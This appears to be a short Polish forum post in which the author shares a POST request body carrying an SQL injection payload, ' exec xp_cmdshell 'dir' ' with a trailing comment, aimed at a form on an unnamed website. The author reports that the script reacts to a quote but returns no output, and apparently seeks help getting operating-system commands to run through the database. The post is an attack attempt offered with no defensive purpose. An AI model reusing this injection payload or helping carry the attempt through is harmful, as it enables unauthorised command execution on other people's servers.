nigdy nie przaepadalem za sql, ale coz..

Kod:
tc_form=57592&an_form=' exec xp_cmdshell 'dir' '&e_form=q&ve_form=q&nn_form=q&p_form=q&vp_form=q&sq_form=q&sa_form=q&fn_form=&ln_form=&a1_form=&a2_form=&ci_form=&s_form=&co_form=none&yob_form=1930&vc_form=57592--
to jest zapytanie post, z doklejona komenda. Nie wywala zadnych bledow, a wynik sie nie wyswietla
Skrypt podatny, reaguje na '